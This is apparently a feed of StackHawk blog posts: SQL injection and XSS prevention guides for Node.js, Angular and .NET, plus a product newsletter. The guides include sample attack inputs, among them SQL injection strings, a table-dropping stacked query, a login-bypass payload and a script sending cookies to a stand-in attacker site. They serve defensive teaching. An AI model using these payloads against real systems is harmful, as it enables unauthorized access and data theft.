Example&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s look at a simple SQL injection attack that could target any system that allows user input. &lt;/p&gt;&lt;p&gt;Imagine you have code in your model layer or database integration layer where you retrieve user information by formatting the following SQL query command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;query = &amp;#39;SELECT * FROM Users WHERE Email = &amp;quot;&amp;#39; + USERNAME + &amp;#39;&amp;quot; AND Pass = &amp;quot;&amp;#39; + PASSWORD + &amp;#39;&amp;quot;;&amp;#39;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This simple query command would typically search through the users table and retrieve the user who intends to log in. However, a hacker could take advantage of the lack of validation from user inputs by inputting values that the developer did not foresee a valid user would use.  &lt;/p&gt;&lt;p&gt;For example, let&amp;#39;s say you input something like the following: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;quot; or &amp;quot;&amp;quot;=&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The system would then return all users in the table. &lt;/p&gt;&lt;p&gt;As you can see, there is little complexity or intricacy in this attack. It lives and dies on simple input validation. However, this doesn&amp;#39;t mean that SQL injection attacks can&amp;#39;t be complex or be part of a more powerful, more sophisticated attack. &lt;/p&gt;&lt;p&gt;If you want to read more about SQL injection, you can read &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;&lt;u&gt;this post&lt;/u&gt;&lt;/a&gt; where we go into more details about it. &lt;/p&gt;&lt;h2&gt;What SQL Injection Attacks Look Like in Node.js&lt;/h2&gt;&lt;p&gt;How can you spot a SQL injection vulnerability in your Node.js code? &lt;/p&gt;&lt;p&gt;It&amp;#39;s not hard when you know how it works, and the database layer is where the most glaring problems usually are. &lt;/p&gt;&lt;p&gt;Take this code, for example: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This will process a &lt;b&gt;post&lt;/b&gt; request to the &lt;b&gt;records&lt;/b&gt; endpoint and find user records matching the IDs provided.  &lt;/p&gt;&lt;p&gt;Now can you spot the issues with this implementation? &lt;/p&gt;&lt;p&gt;As we saw in the previous section, allowing unescaped and unsanitized input into the query command must be avoided at all costs. &lt;/p&gt;&lt;h2&gt;Common SQL Injection Attacks&lt;/h2&gt;&lt;p&gt;Besides the &amp;quot;&amp;quot;=&amp;quot;&amp;quot; attacks that we explored already, a few more forms of injection attacks are widespread. Hackers can use them to successfully target a vulnerable system if they have enough knowledge of the database structure after some trial and error. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Always true (or 1=1) attacks &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;SELECT * FROM Users WHERE UserId = 105 OR 1=1;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Query stacking attacks &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;SELECT * FROM products WHERE id = 10; DROP members--&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Data exfiltration (or query comment) attacks &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;SELECT * FROM health_records WHERE date = &amp;#39;22/04/1999&amp;#39;; -- &amp;#39; AND id = 33&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;If you want to learn more and see examples of these attacks, you can find some &lt;a href=&quot;https://www.w3schools.com/sql/sql_injection.asp&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;h2&gt;Preventive Measures for SQL Injection Attacks&lt;/h2&gt;&lt;p&gt;Now that you have a basic understanding of how SQL injection attacks take advantage of our systems, let&amp;#39;s look at how we can prevent them or mitigate their impact. &lt;/p&gt;&lt;p&gt;First, we need to address the user input validation implemented in our user-facing front-end code. This validation would be our first layer of defense against bad actors and serve as a responsive interaction mechanism for users struggling with interface intuitiveness. &lt;/p&gt;&lt;p&gt;Make sure that the values provided by the user are scoped and sanitized for each field accordingly. That means, for example, that if an input field is intended to receive emails, it does not allow the user to submit the form if an invalid email address—or no value at all—is set. &lt;/p&gt;&lt;p&gt;A simple example would look like this: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Of course, this approach can be expanded with input masks and responsive form styling to tell the user that the value provided is not valid and to inform the user what is expected. &lt;/p&gt;&lt;p&gt;Second, input validation can be implemented at the control level, where most of the calculations are done. This strategy could be as simple as revalidating and, when appropriate, sanitizing the user input before it reaches the model layer. Additionally, adding a third-party library like &amp;quot;node-mysql&amp;quot; that implements escaping automatically also helps. &lt;/p&gt;&lt;h3&gt;Data Layer Protection&lt;/h3&gt;&lt;p&gt;Once the issues at the top level are addressed, we can then secure the database layer. To do that, all we need to do is implement what are known as query placeholders or name placeholders. These placeholders, indicated here with the ? symbol, tell the interfacing layer to automatically escape the input passed to it before it is inserted into the query.&lt;/p&gt;&lt;p&gt;If we expand on the previous example, we can address the issue with a simple change to the code. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;It&amp;#39;s a subtle change, but it has a significant impact on the security of our code. &lt;/p&gt;&lt;h3&gt;Type Checking&lt;/h3&gt;&lt;p&gt;While using query parameters is a best practice to avoid SQL injection attacks, it is not fool-proof. Malicious inputs sent to your application can take advantage of the flexibility in how some Node libraries handle type conversions of query parameters. &lt;/p&gt;&lt;p&gt;For example, take a look at this code example written for the express framework that handles login authentication. This example comes from the article &lt;a href=&quot;https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4&quot;&gt;Finding an unseen SQL Injection by bypassing escape functions in mysqljs/mysql&lt;/a&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;This code seems secure. However, a request with the following payload would allow a hacker to gain access to the application without a password:&lt;/p&gt;&lt;p&gt;&lt;code&gt;body: &amp;quot;username=admin&amp;amp;password[password]=1&amp;quot;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In this example, the attacker is passing in a value that gets evaluated as an Object instead of a String value, and results in the following SQL query:&lt;/p&gt;&lt;p&gt;&lt;code&gt;SELECT * FROM accounts WHERE username = &amp;#39;admin&amp;#39; AND password = `password` = 1&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;password = `password` = 1 &lt;/code&gt;part evaluates to TRUE and is a 1=1 attack. &lt;/p&gt;&lt;p&gt;To protect yourself from this type of attack, it&amp;#39;s best to check that the variables you are passing to query parameters are of the data type that you expect. The following code snippet adds some type checking to ensure both values are strings, and will prevent the 1=1 vulnerability:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Validating that your query parameters are of the correct data type as well as doing input validation gives you the best protection against SQL injection.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Bottom Line&lt;/h2&gt;&lt;p&gt;We&amp;#39;ve explored the risks that involve SQL injection attacks and the various ways to counter them, and here&amp;#39;s a recap of what you should do: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Implement input validation and field masking at the view level.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Ensure that your model layer properly uses placeholders. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Check the data types of input parameters.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Avoid insecure packages that have access to the database.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Make use of application security monitoring features.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Enforce security policies and best practices with your team.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In the end, complying with proper SQL injection prevention practices is relatively straightforward. Depending on the size and complexity of the codebase, however, your mileage might vary. Nevertheless, the time investment that this protection requires will pay dividends for years to come. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Angular XSS Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/angular-xss-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;When building a web application, one of the most crucial pain points is securing your website. Despite the purpose of your website, an attacker can use even a minimal vulnerability to affect your application and its users. Cross-site scripting, commonly known as XSS, is one such attack.&lt;/p&gt;&lt;p&gt;In this post, we&amp;#39;ll go through what XSS attacks look like in an Angular application with examples. Furthermore, you&amp;#39;ll learn about how you can reduce or prevent XSS vulnerabilities in your web application.&lt;/p&gt;&lt;h2&gt;XSS: A Brief Overview&lt;/h2&gt;&lt;p&gt;To start off with, let&amp;#39;s have a look into how an XSS attack can happen on your website.&lt;/p&gt;&lt;p&gt;Imagine you have a user form on your website. This could be as simple as a sign-in form or a contact form. You expect to take the user&amp;#39;s name as an input and show it on your website.&lt;/p&gt;&lt;p&gt;What would happen if a user enters the following piece of code in the input field?&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;script&amp;gt;
    src=&amp;quot;http://evilsite.com?+document.cookie; 
    alert(&amp;quot;Success&amp;quot;);&amp;quot;
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;In this case, if your website executed this piece of code, a pop-up will appear. Not only that, behind the scenes, the website will send a request to the attacker&amp;#39;s website with your cookie information. You or the website user wouldn&amp;#39;t even realize an XSS attack is happening.&lt;/p&gt;&lt;p&gt;Often, XSS attacks take place when user input enters the&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model&quot;&gt; &lt;u&gt;DOM&lt;/u&gt;&lt;/a&gt; (Document Object Model) of your website before being validated. A malicious input can come in various forms to obtain sensitive data from your users and the website itself. It&amp;#39;s important to realize that XSS attacks can manipulate your website without being exposed. Therefore, thorough validation of user input is a crucial part of securing your website.&lt;/p&gt;&lt;p&gt;XSS attacks come in different flavors, such as reflected, persistent, and DOM-based attacks. If you&amp;#39;d like to read more about them with examples, check out this&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt; &lt;u&gt;great post&lt;/u&gt;&lt;/a&gt; on the StackHawk blog.&lt;/p&gt;&lt;h2&gt;Angular&amp;#39;s Security Model for XSS&lt;/h2&gt;&lt;p&gt;Now that we have an idea about how XSS attacks can happen in general, let&amp;#39;s take a look at a simple example in an Angular application.&lt;/p&gt;&lt;h3&gt;Contextual Escaping&lt;/h3&gt;&lt;p&gt;The below code snippet creates an input field to take in the user name as input. This snippet will appear in the HTML file of your Angular component.&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;label for=&amp;quot;username&amp;quot;&amp;gt;Name: &amp;lt;/label&amp;gt;
&amp;lt;input id=&amp;quot;username&amp;quot; [(ngModel)]=&amp;quot;username&amp;quot; placeholder=&amp;quot;Name&amp;quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;We&amp;#39;ll create a variable called &lt;b&gt;username&lt;/b&gt; in the &lt;b&gt;TypeScript&lt;/b&gt; file of the Angular component to store the input from the user.&lt;/p&gt;&lt;p&gt;&lt;code&gt;import {
    Component
} from &amp;#39;@angular/core&amp;#39;;
@Component({ . . . })
export class AppComponent {
    username = &amp;#39;&amp;#39;;
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The following code snippet in the component HTML file will display the input from your user. This method of binding user input to the view is called &amp;quot;interpolation.&amp;quot;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;p&amp;gt;{{ username }}&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;If you run the above example and insert a malicious code as input, what do you think would happen?&lt;/p&gt;&lt;p&gt;In this instance, the interpolation mechanism in Angular will escape your input. It won&amp;#39;t interpret the input as HTML and will display the entire input as plain text on your webpage. This defense mechanism in Angular is known as &amp;quot;contextual escaping.&amp;quot;&lt;/p&gt;&lt;p&gt;&lt;i&gt;Contextual escaping in Angular.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Does this mean an Angular application can prevent XSS attacks by itself?&lt;/p&gt;&lt;h3&gt;Input Sanitization&lt;/h3&gt;&lt;p&gt;With this in mind, let&amp;#39;s look at another example of displaying the input. Imagine your website needs an input field that allows HTML formatting, such as a comment box. In such situations, you can use Angular&amp;#39;s &lt;b&gt;[innerHtml]&lt;/b&gt; property to bind the user input. Note that this is different from the&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML&quot;&gt; &lt;u&gt;innerHTML&lt;/u&gt;&lt;/a&gt; in the native web APIs.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s create a comment box in the HTML file.&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;label for=&amp;quot;comment&amp;quot;&amp;gt;Comments &amp;lt;/label&amp;gt;
&amp;lt;textarea id=&amp;quot;comment&amp;quot; [(ngModel)]=&amp;quot;comment&amp;quot; placeholder=&amp;quot;Comment&amp;quot;&amp;gt;&amp;lt;/textarea&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;And display the comment as [innerHTML] so that Angular can execute the HTML tags added by the user.&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;p [innerHtml]=&amp;quot;comment&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The image below shows the output you would see. To compare, we have added the output you&amp;#39;d get from interpolation. Unlike interpolation, the &lt;b&gt;[innerHtml]&lt;/b&gt; property interprets the HTML code in your input. As you can see below, Angular has automatically recognized the &lt;b&gt;&amp;lt;script&amp;gt;&lt;/b&gt; tag as unsafe and removed it, but has kept the &lt;b&gt;&amp;lt;b&amp;gt;&lt;/b&gt; tag as it&amp;#39;s potentially safe. This modification in Angular is called &amp;quot;sanitization.&amp;quot; When you&amp;#39;re running Angular in development mode, a warning appears as shown in the image below to notify you if Angular has sanitized an input value.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Input sanitization in Angular.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;In addition to the &lt;b&gt;[innerHtml]&lt;/b&gt; property, Angular has a few other properties it uses to sanitize user inputs based on the context. The &lt;b&gt;[style]&lt;/b&gt; property (which binds CSS attributes) and the &lt;b&gt;[href]&lt;/b&gt; property (which binds URLs) perform similar context-based sanitization to remove possibly dangerous inputs from users. The following code snippet shows a simple example of using these properties:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;div [style]=&amp;quot;dynamic-style&amp;quot;&amp;gt; ... &amp;lt;/div&amp;gt;
&amp;lt;a [href]=&amp;quot;dynamic-url&amp;quot;&amp;gt;Dynamic Link&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;h2&gt;Trusting and Bypassing&lt;/h2&gt;&lt;p&gt;The above examples show that Angular has built-in security capabilities to protect your application from XSS attacks. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;The key concept behind Angular&amp;#39;s out-of-the-box security model is that &lt;b&gt;Angular treats all input values as untrusted&lt;/b&gt;. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Therefore, if you need to use a validated user input within the application, you&amp;#39;ll need to mark the input as trusted.&lt;/p&gt;&lt;p&gt;For this purpose, you can make use of the&lt;a href=&quot;https://angular.io/api/platform-browser/DomSanitizer&quot;&gt; &lt;u&gt;DomSanitizer&lt;/u&gt;&lt;/a&gt; and use the &lt;b&gt;byPassSecurityTrust..()&lt;/b&gt; functions to tell Angular that you trust the input value. However, you must be extremely cautious when using this functionality, as XSS attacks are possible if your input gets tampered with. This step should only be done when your inputs are trustworthy, and you must check all execution paths to make sure the application is secured.&lt;/p&gt;&lt;p&gt;Angular has the following bypass functions in the DomSanitizer:&lt;/p&gt;&lt;p&gt;byPassSecurityTrustHtml()
byPassSecurityTrustStyle()
byPassSecurityTrustScript()
byPassSecurityTrustUrl()
byPassSecurityTrustResourceUrl()&lt;/p&gt;&lt;h2&gt;Directly Accessing DOM Elements&lt;/h2&gt;&lt;p&gt;Another instance where XSS attacks can happen in Angular is when you use native web APIs to directly access the DOM elements. In this case, you might use&lt;a href=&quot;https://angular.io/api/core/ElementRef&quot;&gt; &lt;u&gt;&lt;b&gt;ElementRef&lt;/b&gt;&lt;/u&gt;&lt;/a&gt; to access a DOM element in your application as shown below. You may define your element in the HTML file and access the element from the component &lt;b&gt;TypeScript&lt;/b&gt; file and use the native &lt;b&gt;[innerHTML]&lt;/b&gt; property to set the value.&lt;/p&gt;&lt;p&gt;In the view, you may define the &lt;b&gt;&amp;quot;myDiv&amp;quot;&lt;/b&gt; DOM element as shown in the snippet below:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;p id=&amp;quot;myDiv&amp;quot; #myDiv&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;In the component file, you may make changes as below to access the &amp;quot;myDiv&amp;quot; element:&lt;/p&gt;&lt;p&gt;&lt;code&gt;import {
    Component,
    ElementRef,
    HostListener,
    ViewChild
} from &amp;#39;@angular/core&amp;#39;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;@Component({
    selector:&amp;#39;my-app&amp;#39;,
    templateUrl:&amp;#39;./app.component.html&amp;#39;,
    styleUrls: [&amp;#39;./app.component.css&amp;#39;]
})
export class AppComponent {
    @ViewChild(&amp;#39;myDiv&amp;#39;) divElement: ElementRef;
    username = &amp;#39;&amp;#39;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    onClick() {
        this.divElement.nativeElement.innerHTML = this.username;
    }
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This pattern is strongly discouraged in Angular as you won&amp;#39;t get the in-built secure functionalities when native APIs are used. You should use the Angular patterns to safely access view elements and input values.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Preventing XSS in Angular&lt;/h2&gt;&lt;p&gt;It&amp;#39;s obvious that Angular offers a secure platform for you to build your application in a way that minimizes exposure to XSS attacks. However, should you need to bypass the security model to implement functionalities, you must explore the data paths to make sure your application is secure. In addition to that, Angular suggests the following means to secure your application against XSS.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Make sure that your web server returns the &lt;b&gt;Content-Security-Policy&lt;/b&gt; HTTP header to maintain a list of trusted sources. Thereafter, your application will only execute the code from these trusted sources. This header could look similar to the following line:
&lt;code&gt;Content-Security-Policy: script-src https://host1.com https://myapi.com&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use Trusted Types so that they enforce safer coding in your application. In order to enable Trusted Types, your web server should send an HTTP header with Angular policy keywords. You can read more about enabling Trusted Types from this&lt;a href=&quot;https://angular.io/guide/security#enforcing-trusted-types&quot;&gt; &lt;u&gt;guide&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Avoid using unsafe coding patterns such as directly accessing DOM elements.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Conduct a security audit for your application, especially if you use security-sensitive functionalities such as bypassing methods.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;At the end of the day, if you stick to Angular&amp;#39;s coding patterns, your website will be secure from XSS attacks. However, should you need to bypass Angular&amp;#39;s way to enable functionalities, conducting a security audit will give you the peace of mind you deserve.&lt;/p&gt;&lt;p&gt;If you&amp;#39;re curious about how other web development frameworks mitigate XSS attacks, check out the posts on XSS examples and prevention in&lt;a href=&quot;https://www.stackhawk.com/blog/react-xss-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;React&lt;/u&gt;&lt;/a&gt; and&lt;a href=&quot;https://www.stackhawk.com/blog/vue-xss-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;Vue&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Malsha Ranawaka. &lt;/i&gt;&lt;a href=&quot;https://malsha.medium.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Malsha&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a software engineer getting to know more about data science. Her passions lie in beautiful interfaces, code quality, and work-life balance. She’s interested in creating content that makes learning new concepts easy and fun.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[August Newsletter: New GitHub Code Scanning Integration, Git Repo Mounting, and More!]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/august-newsletter-new-github-code-scanning-integration-git-repo-mounting-and</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;h2&gt;Our New GitHub Code Scanning Integration&lt;/h2&gt;&lt;p&gt;🦅 StackHawk is proud to be the first Dynamic API and Application Security Testing tool integrated with GitHub code scanning!&lt;/p&gt;&lt;p&gt;Software teams can now run API and application security testing whenever they check-in code in GitHub. And they can be notified about new findings immediately in the GitHub security tab. &lt;/p&gt;&lt;p&gt;What does this mean for your team? Consistent security testing on every PR, notifications where you are already working, and remediation as soon as a new vuln pops up.&lt;/p&gt;&lt;p&gt;Check out our overview video or read the blog to learn how to enable StackHawk code scanning alerts in your repos. &lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/stackhawk-github-code-scanning/&quot;&gt;&lt;b&gt;Read the Blog&lt;/b&gt;&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=_tBugEDPwpo&quot;&gt;&lt;b&gt;Watch the Video&lt;/b&gt;&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;h2&gt;The Changelog: New Features to Kaakaww About&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;OpenAPI Spec Verification. &lt;/b&gt;Nobody is perfect. Which is why we will now check your OpenAPI Specification for errors before kicking off a scan. If errors are found, you will be notified so you can quickly fix and then start scanning your API for vulns.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Git Repo Mounting. &lt;/b&gt;We are making configuration across your entire team a breeze by allowing you to instead of a Docker volume mount. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Custom Auth and API Discovery Requests. &lt;/b&gt;Does your app have custom auth or require complex API discovery? StackHawk can now load custom scripts before any authentication or API discovery traffic to make sure your scan is successful. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Application Page UI Updates. &lt;/b&gt;Finding your application details and settings is now easier. Click through from the Applications page to customize application settings and optimize scans by defining the backing technologies.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h1&gt;Other Happenings&lt;/h1&gt;&lt;h3&gt;📺 Hawk Talks&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/DWewRg7AhZo&quot;&gt;StackHawk Overview&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/_tBugEDPwpo&quot;&gt;StackHawk is Now Integrated with GitHub Code Scanning&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/automated-application-security-testing-with-stackhawk/&quot;&gt;Scott Gerlach @ Cloud-Native Days&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[From the Archives] &lt;/b&gt;&lt;a href=&quot;https://youtu.be/EwbPPPBhM4A&quot;&gt;ZAP Deep Dive: Ajax Spider&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;📖 Reading Material&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/stackhawk-github-code-scanning/&quot;&gt;Dynamic API and Application Security Testing Now Integrated With GitHub Code Scanning&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/golang-sql-injection-guide-examples-and-prevention/&quot;&gt;Golang SQL Injection Guide: Examples and Prevention&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[From the Archives] &lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/application-security-testing-sca-and-dast/&quot;&gt;Developer-Centric Application Security Testing with DAST and SCA&lt;/a&gt;&lt;b&gt; &lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;📽 Virtual Events&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;September 1-2: &lt;a href=&quot;https://springone.io/&quot;&gt;SpringOne&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;September 14: &lt;a href=&quot;https://www.ctoconnection.com/events/series/2021-09-14-lessons-in-management&quot;&gt;CTO Summit - Structuring Your Org&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;September 20-21: &lt;a href=&quot;https://devopsdays.org/events/2021-portland-or/welcome/&quot;&gt;DevOpsDays Portland&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;September 24: &lt;a href=&quot;https://20thanniversary.owasp.org/&quot;&gt;OWASP 20th Anniversary&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;September 28-30: &lt;a href=&quot;https://www.devopsworld.com/&quot;&gt;DevOps World&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;September 29: &lt;a href=&quot;https://www.securecoding.com/events/virtual-summit-sep-2021/&quot;&gt;Secure Coding Virtual Summit&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;💼 Jobs @ StackHawk&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Developer Advocate&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Head of Product Management&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Account Executive&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Head of Marketing&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;❤️ Give Us Some Love&lt;/h3&gt;&lt;p&gt;Share the goodness of developer-centric application security. We are always grateful for recommendations and referrals! We’d love for you to share StackHawk with your friends and colleagues, or &lt;a href=&quot;https://www.g2.com/products/stackhawk/reviews&quot;&gt;leave us a review on g2&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[.NET SQL Injection Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/net-sql-injection-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;SQL injections are one of the most common and dangerous security threats you can face, and no programming language or stack is immune to them. Yes, .NET SQL injection is a thing and you&amp;#39;d better learn how to prevent it.&lt;/p&gt;&lt;p&gt;That&amp;#39;s what this post is about. We&amp;#39;ll start with a brief explanation of SQL injections in general. You&amp;#39;ll understand what this attack is, how it works, and why it&amp;#39;s so dangerous.&lt;/p&gt;&lt;p&gt;After that, we&amp;#39;ll get to the .NET-specific portions of the post, where we&amp;#39;ll show you what SQL injections look like in .NET and how you can prevent them. Let&amp;#39;s get started.&lt;/p&gt;&lt;h2&gt;.NET SQL Injection: What Is It? Why Care?&lt;/h2&gt;&lt;p&gt;As promised, let&amp;#39;s start with the basics.&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt; &lt;u&gt;What is SQL injection?&lt;/u&gt;&lt;/a&gt; Why is it so important?&lt;/p&gt;&lt;p&gt;A SQL injection is a type of injection attack in which an ill-intended actor successfully injects—you&amp;#39;ve guessed it!—excerpts of SQL code into your application. They do that by exploring vulnerabilities that exist in portions of the app where it interacts with—and receives data from—the external world. In web applications, classical entry points for SQL injection attacks can be form fields and URL parameters.&lt;/p&gt;&lt;p&gt;How does a SQL injection attack work? You&amp;#39;ll learn about the mechanics of the attack in more detail soon. For now, suffice it to say that, when successfully injecting SQL code, an attacker is able to append text to a legitimate query in the application. The query is sent to the database and executed, but its behavior is now different from 